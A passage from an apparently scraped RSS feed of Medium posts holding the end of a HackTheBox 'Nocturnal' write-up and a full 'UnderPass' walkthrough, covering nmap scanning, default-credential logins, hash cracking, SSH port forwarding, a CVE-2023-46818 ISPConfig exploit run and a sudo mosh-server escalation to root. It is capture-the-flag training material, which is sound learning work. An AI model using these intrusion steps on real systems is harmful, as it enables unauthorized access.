55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse<br>yoo=     a95b429d7a93263081a83b9bf7c9f7e3:yoo<br>burbo=   d24e6ebefe28e8c72079b3498a7bc4eb:burbo<br>kavi=    f38cde1654b39fea2bd4f72f1ae4cdda:kavi<br>e0Al5=   101ad4543a96a7fd84908fd0d802e7db:e0Al5</pre><p>As we know from our nmap scan that port 22 (ssh) is open so we try to use that and we use tobias account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gElBnhhNhsPIzz0EJnIaZg.png" /></figure><p>and we get a shell and also the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*8sZCUBWfgMbggO-XdVdOgg.png" /></figure><p>Now I downloaded LinPEAS into the Tobias account from my Kali Linux machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-KDdsgkNj-zDc8UVaOPbA.png" /></figure><p>After running the Linpease, we find that it is <strong>Vulnerable to CVE-2021–3560</strong></p><blockquote><strong>CVE-2021–3560 exploits </strong>polkit (PolicyKit), commonly used for managing permissions in Linux.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ssaOCIu6pdBpj2VMviHmA.png" /></figure><p>But pkexec is <strong>not setuid</strong> (rwx instead of rws).</p><p>This means:</p><ul><li>Even though the pkexec binary exists, it <strong>won’t run with root privileges</strong>.</li><li>So <strong>CVE-2021–3560 won’t work</strong> — it depends entirely on pkexec being setuid root.</li></ul><pre>-rwxr-xr-x 1 root root 31032 Feb 21  2022 /usr/bin/pkexec</pre><p>Upon reviewing the Active Ports results from LinPEAS, it is observed that port 8080 is open internally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*m6kEa6FT_5CX4rcuKi7-8g.png" /></figure><p>port 8080 is <strong>only accessible from inside the target machine (</strong><strong>127.0.0.1:8080)</strong>, and <strong>not directly exposed</strong> to our attacking machine, so we use Port Forwarding that acts like a bridge so we can view it from our browser.</p><pre>ssh tobias@nocturnal.htb -L 1020:127.0.0.1:8080  #run this on attacking machine</pre><p>Log in to nocturnal.htb as tobias and create a tunnel that lets me access the remote service on 127.0.0.1:8080 using my local port 1020.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FqGRJefKRcsp0Rau70h87w.png" /></figure><p>ISPConfig is running on port 8080, which is only accessible from the local machine. We use SSH port forwarding to make it accessible on our own machine.</p><p>We identified the ISPConfig version by inspecting its source code. <br><strong>version = 3.2</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_aBaMXXeAwY-44Oba32_eA.png" /></figure><p>Lets Find its exploit</p><blockquote><strong>CVE-2023–46818</strong> is a <strong>high-severity vulnerability</strong> affecting <strong>ISPConfig versions prior to 3.2.11p1</strong>. It allows an authenticated administrator to perform <strong>PHP code injection</strong> via the language file editor when the admin_allow_langedit setting is enabled.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*2rDlsKi0JAncReuf92GUNg.png" /></figure><p>After we run this command</p><pre>python3 CVE-2023-46818.py http://127.0.0.1:1020 admin slowmotionapocalypse</pre><p>we get a root shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*KnV3YDhYP1Ca_mNUNCYO6w.png" /></figure><h3>Congrats! You pwned the machine successfully!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b47435b3c39" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[UnderPass Walkthrough: HackTheBox]]></title>
            <link>https://medium.com/@asadullah547335/underpass-walkthrough-hackthebox-67761a546911?source=rss-9fc531dc7491------2</link>
            <guid isPermaLink="false">https://medium.com/p/67761a546911</guid>
            <dc:creator><![CDATA[Mr. Spider]]></dc:creator>
            <pubDate>Wed, 23 Apr 2025 11:08:57 GMT</pubDate>
            <atom:updated>2025-04-23T11:08:57.024Z</atom:updated>
            <content:encoded><![CDATA[<p>Machine: UnderPass<br>Operating System: Linux<br>Difficulty: Easy</p><p>Start scanning with nmap</p><pre>nmap -A -sV -O 10.10.11.48</pre><p>Let’s break it down:</p><ul><li><strong>nmap</strong>: This is the tool used to scan networks and devices.</li><li><strong>-A</strong>: Turns on <strong>aggressive scanning</strong> — it does several things:</li></ul><p>&gt; Detects the operating system (OS)<br> &gt; Detects services and their versions<br> &gt; Tries to find out if the host is running a firewall<br> &gt; Runs some scripts to get more info</p><ul><li><strong>-sV</strong>: Tries to <strong>find the version of the services</strong> (like web servers, FTP, SSH, etc.) running on open ports.</li><li><strong>-O</strong>: Tries to <strong>guess the operating system</strong> of the target.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UInS92JFyKS6W8HERUQT7g.png" /></figure><p>The result of nmap shows that <strong>port 22</strong> (ssh) and <strong>port 80</strong> (http) are open.</p><p>Lets look at the port 80 with our browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HK2uiwMWCNx9pkp3t5ogpA.png" /></figure><p>and its just a simple Apache2 Default Page nothing more than it.</p><p>Now let&#39;s scan again, but this time let&#39;s use the <strong>-sU</strong> filter to<strong> scan UDP ports</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lBiO-9KQGh1YlgewwuDcCg.png" /></figure><h3>1) 161/udp open snmp</h3><ul><li><strong>Port 161</strong> is <strong>open</strong>.</li><li>It’s running <strong>SNMP</strong> (Simple Network Management Protocol), which is often used by system administrators to <strong>monitor and manage devices</strong> like routers, switches, and servers.</li></ul><h3>2) 1812/udp open|filtered radius</h3><ul><li><strong>Port 1812</strong> is <strong>open or filtered</strong> (Nmap isn’t 100% sure).</li><li>It’s used by <strong>RADIUS</strong> (Remote Authentication Dial-In User Service), which is often used to <strong>handle user logins</strong> — like verifying usernames and passwords for network access.</li></ul><h3>3) 1813/udp open|filtered radacct</h3><ul><li><strong>Port 1813</strong> is also <strong>open or filtered</strong>.</li><li>It’s used for <strong>RADIUS accounting</strong> — this tracks <strong>what users do</strong> after logging in (e.g., how long they stayed connected).</li></ul><p>Lets gets some more information about <strong>Port 161</strong> (snmp) and also <strong>finds its version</strong> with the help of<strong> -sV</strong> filter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJhK5KmQMNbZHRkOAju47g.png" /></figure><p>The Version of SNMP is v1 and we also find that <a href="https://en.wikipedia.org/wiki/FreeRADIUS"><strong>daloradius </strong></a>server is running.</p><blockquote><strong>daloRADIUS</strong> is a <strong>web-based tool</strong> used to manage a <strong>RADIUS server</strong>.</blockquote><blockquote>It’s mainly used for <strong>user authentication</strong> (like Wi-Fi logins).</blockquote><blockquote>Helps <strong>add, delete, and manage users</strong>.</blockquote><blockquote>Shows <strong>logs, usage, and stats</strong>.</blockquote><blockquote>Works with <strong>FreeRADIUS</strong>, a popular open-source RADIUS server.</blockquote><p><a href="https://github.com/lirantal/daloradius">GitHub - lirantal/daloradius: daloRADIUS is an advanced RADIUS web management application for managing hotspots and general-purpose ISP deployments. It features user management, graphical reporting, accounting, a billing engine, and integrates with OpenStreetMap for geolocation. The system is based on FreeRADIUS with which it shares access to the backend database.</a></p><p>when we looked at the daloradius github repository, we discovered there is a login page in <strong>daloradius/app/users/login.php</strong>, and then we used our browser to access it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_PKHllvgI0yKWV0gw5UE5w.png" /></figure><p>I tried Default Credentials i.e., <strong>Username:</strong> administrator and <strong>Password:</strong> radius and also SQL injection but does not work.</p><p>After looking through the daloradius github repository again, I found another login page at <strong>daloradius/app/operators/login.php</strong>, which I accessed from our browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9YUuRuVWB0dLeivpPjl6TA.png" /></figure><p>I tried Default Credentials i.e., <strong>Username:</strong> administrator and <strong>Password:</strong> radius again and guess what? I was able to log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-V6DYIsQRMwgRwXXHcfOpw.png" /></figure><p>Then i go to users list and find Username and Password.</p><p><strong>Username </strong>= svcMosh</p><p><strong>Password </strong>= 412DD4759978ACFCC81DEAB01B382403 (hashed)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PeiStwN4ZuseBEfoS2otaw.png" /></figure><p>The password is in Hashed Form so we use an online tool (<strong>CrackStation, Hashes.com</strong>) to find the Plaintext Password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*WCZaBR4d1YIds_ZgMK6LXA.png" /></figure><p><strong>Password is =</strong> underwaterfriends</p><p>From our Nmap scan, we know that <strong>port 22</strong> (SSH) is open, so we try to log in via SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TQTA6LWNCV7RF0SyqbIf_A.png" /></figure><p>Congrats… we got a shell.</p><p>and the users flag is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*MGSdPvd8ns_VnzLXQRxNYg.png" /></figure><p>Now we need a root privileges for that, we start with</p><pre>sudo -l</pre><p>This command <strong>shows what you are allowed to do with </strong><strong>sudo</strong> on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o_osHKvzien20fTOhmjlLw.png" /></figure><p>User svcMosh is allowed to run the mosh-server program as an admin (root), without needing a password. So we will use it to get admin Privileges.</p><p>Let start’s the <strong>mosh-server</strong> as an <strong>admin</strong>.</p><pre>sudo /usr/bin/mosh-server</pre><p>When we start the mosh-server it give us a <strong>Port </strong>(60001) and a <strong>Key =</strong> dpfX7ZKxSCHffQywhJRIFA</p><p>we will connect it with the help of this port and the above key and the server is keep running in the background and it also give us a <strong>Process ID</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*o_1xlTyaF2P9NtcehpUXwA.png" /></figure><p>We also have mosh-client that we use to connect with mosh-server and get a root shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*NLnDJVPyFvYXY7QwZGQCbg.png" /></figure><p>but when we connect to localhost on the given port, it shows us that..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*Ke4ky-R6As7ExesvG8RIsw.png" /></figure><h3>What it means:</h3><ul><li>We’re trying to connect to the <strong>mosh-server</strong> on localhost at <strong>port 60001</strong>.</li><li>But <strong>mosh needs a secret key</strong> (called MOSH_KEY) to connect.</li><li>We didn’t give it that key, so it shows an error.</li></ul><p>With the help of export we set the MOSH_KEY</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*8k_jW_nk9IePBinLGSfpPg.png" /></figure><p>and Now we try to connect it again</p><pre>mosh-client 127.0.0.1 60001</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*YmVsTm5-sabw3KraBZUbHg.png" /></figure><p>And we connected to it and got a root shell…</p><p>Congratulations!!!<br>Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=67761a546911" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>